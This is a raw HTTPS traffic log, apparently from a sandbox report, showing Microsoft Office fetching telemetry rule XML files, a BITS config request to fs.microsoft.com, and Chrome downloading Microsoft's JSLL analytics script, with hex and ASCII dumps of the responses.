2024-12-07 16:36:12 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:12 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: a681d1f9-301e-0020-1b07-486299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163612Z-r1cf579d778dndrdhC1EWR4b2400000002m0000000001wax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:12 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:12 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:12 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 7b8d486f-101e-0017-1506-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163612Z-r1cf579d7788pwqzhC1EWRrpd800000003700000000011tr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:12 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:12 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:12 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: af038a62-701e-005c-6f03-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163612Z-r1cf579d778zvkpnhC1EWRv23g0000000360000000001us2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:12 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:13 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:14 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 1c872757-c01e-0034-1307-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163614Z-r1cf579d7788pwqzhC1EWRrpd80000000340000000005nm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:14 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:13 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:14 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 061d09a2-c01e-00a1-3006-487e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163614Z-r1cf579d778zvkpnhC1EWRv23g000000035g000000002g8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:14 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:14 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:14 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: b9413899-901e-0015-7203-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163614Z-r1cf579d778z4wflhC1EWRa3h0000000031000000000027m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:14 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.7	49859	2.16.229.162	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:14 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-07 16:36:14 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=59074 Date: Sat, 07 Dec 2024 16:36:14 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:14 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:14 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 67adf02b-201e-0085-1211-4834e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163614Z-r1cf579d77867vg8hC1EWR8knc00000002s0000000003dvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:14 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:14 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:14 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4471680c-501e-0047-7105-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163614Z-r1cf579d778z4wflhC1EWRa3h000000002xg0000000044me x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:14 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.7	49862	13.107.246.63	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:15 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 16:36:15 UTC	889	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:15 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 4b8bd197-901e-0069-5e06-47f993000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241207T163615Z-r1cf579d778lntp7hC1EWR9gg400000002800000000077pp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:15 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-12-07 16:36:15 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-12-07 16:36:16 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-12-07 16:36:16 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
